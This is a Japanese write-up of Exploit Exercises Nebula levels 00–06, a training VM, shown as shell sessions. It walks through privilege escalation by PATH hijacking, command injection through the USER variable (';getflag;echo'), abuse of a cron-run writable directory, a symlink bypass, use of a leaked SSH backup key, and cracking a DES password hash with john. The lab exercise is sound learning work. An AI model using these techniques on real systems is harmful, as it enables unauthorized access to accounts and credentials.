Exploit Exercises Nebula Level00-06 writeup

Exploit Exercisesとは

exploit寄りの問題がいっぱい載っているサイトで、問題が入ったVMが配布されている。

https://exploit-exercises.com

Nebula, Protostar, Fusion, Main Sequence, Cloud Roadの5つのコースがあって、今回はNebulaをlevel00-06まで解いた。
Nebulaでは、シェルコードとか書かなさげだし他のコースもやっていきたい。

writeup

Level00

Level00 - Exploit Exercises

suidがflag00になってるファイルを探す。

level00@nebula:~$ find / -executable -user flag00 2> /dev/null
/bin/.../flag00
/home/flag00
/rofs/bin/.../flag00
/rofs/home/flag00
level00@nebula:~$ ls -la /bin/.../
total 8
drwxr-xr-x 2 root   root      29 2011-11-20 21:22 .
drwxr-xr-x 3 root   root    2728 2012-08-18 02:50 ..
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 flag00
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!

2> /dev/null で標準エラー出力を捨てれる。

Level01

Level01 - Exploit Exercises

system("/usr/bin/env echo and now what?")というコードがあるので、偽echoのシンボリックリンクを作ってpathを通す。

level01@nebula:/home/flag01$ ls -la
total 13
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     180 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile
level01@nebula:/home/flag01$ ./flag01
and now what?
level01@nebula:/home/flag01$ cd
level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level02

Level02 - Exploit Exercises

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));というコードがあるので、いい感じにUSER環境変数を変更する。

level02@nebula:/home/flag02$ ls -la
total 13
drwxr-x--- 2 flag02 level02   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag02 flag02   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag02 flag02  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
-rw-r--r-- 1 flag02 flag02   675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
level02@nebula:/home/flag02$ export USER=';getflag;echo'
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;getflag;echo is cool")

You have successfully executed getflag on a target account
is cool

Level03

Level03 - Exploit Exercises

writable.shがcronで数分ごとに実行されている。writable.shはwritable.dないのファイルを読み込むので、それを利用してgetflagを実行する。

level03@nebula:/home/flag03$ getflag
getflag is executing on a non-flag account, this doesn't count
level03@nebula:/home/flag03$ ls -la
total 6
drwxr-x--- 1 flag03 level03   60 2011-11-20 20:39 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag03 flag03   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag03 flag03  3353 2011-05-18 02:54 .bashrc
-rw-r--r-- 1 flag03 flag03   675 2011-05-18 02:54 .profile
drwxrwxrwx 1 flag03 flag03    40 2015-05-07 19:24 writable.d
-rwxr-xr-x 1 flag03 flag03    98 2011-11-20 21:22 writable.sh
level03@nebula:/home/flag03$ cat writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

level03@nebula:/home/flag03$ echo 'getflag > /tmp/log' > ./writable.d/foo
level03@nebula:/home/flag03$ cat /tmp/log
cat: /tmp/log: No such file or directory
level03@nebula:/home/flag03$ cat /tmp/log
You have successfully executed getflag on a target account

Level04

Level04 - Exploit Exercises

tokenという名前のファイルは読み込んでくれないので、シンボリックリンクでごまかす。

level04@nebula:/home/flag04$ ls -la
total 13
drwxr-x--- 2 flag04 level04   93 2011-11-20 21:52 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
-rw-r--r-- 1 flag04 flag04   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag04 flag04  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw-r--r-- 1 flag04 flag04   675 2011-05-18 02:54 .profile
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$ cd
level04@nebula:~$ ln -s /home/flag04/token ./fake
level04@nebula:~$ /home/flag04/flag04 ./fake
06508b5e-8909-4f38-b630-fdb148a848a2

Level05

Level05 - Exploit Exercises

.sshにはアクセスできないけど、backupファイルにはアクセスできるので展開してsshする。

level05@nebula:/home/flag05$ ls -la
total 9
drwxr-x--- 1 flag05 level05   80 2015-05-07 15:41 .
drwxr-xr-x 1 root   root     260 2012-08-27 07:18 ..
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .backup
-rw------- 1 flag05 flag05    61 2015-05-07 15:55 .bash_history
-rw-r--r-- 1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag05 flag05    60 2015-05-07 15:40 .cache
-rw-r--r-- 1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------ 2 flag05 flag05    70 2011-11-20 20:13 .ssh
level05@nebula:/home/flag05$ cd .backup
level05@nebula:/home/flag05/.backup$ ls -la
total 2
drwxr-xr-x 2 flag05 flag05    42 2011-11-20 20:13 .
drwxr-x--- 1 flag05 level05   80 2015-05-07 15:41 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz
.ssh/
tar: .ssh: Cannot mkdir: Permission denied
.ssh/id_rsa.pub
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa.pub: Cannot open: No such file or directory
.ssh/id_rsa
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/id_rsa: Cannot open: No such file or directory
.ssh/authorized_keys
tar: .ssh: Cannot mkdir: Permission denied
tar: .ssh/authorized_keys: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors
level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz -C ~/
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
level05@nebula:/home/flag05/.backup$ cd
level05@nebula:~$ cd .ssh
level05@nebula:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
level05@nebula:~/.ssh$ ssh -i id_rsa flag05@localhost
  
      _   __     __          __     
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ / 
  /_/ |_/\___/_.___/\__,_/_/\__,_/  


flag05@nebula:~$ getflag
You have successfully executed getflag on a target account

Level06

Level06 - Exploit Exercises

The flag06 account credentials came from a legacy unix system.とのことなので、johnでpasswordクラック。

level06@nebula:~$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

VMにjohnは入ってなかったのでローカルでやった。

tkmru: ~$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > pass.txt
tkmru: ~$ john pass.txt
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello            (flag06)
1g 0:00:00:00 100% 2/3 50.00g/s 37650p/s 37650c/s 37650C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed
level06@nebula:~$ su flag06
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account

余談

VirtualBoxで NebulaのVMを動かしていて、Guest Additionsを入れようとすると、よくわからない画面が出たりしてうまくいかなかった。Guest AdditionsがないとホストとVM間でコピペしたり、共有フォルダを使ったりできなくてつらい。

f:id:TAKEmaru:20150509102845p:plain

VMSSHすることでホストとVM間でコピペできるようにして妥協した。
ポートフォワーディングの設定をして、id: nebula, pass: nebulaでログインして鍵生成したらsshできた。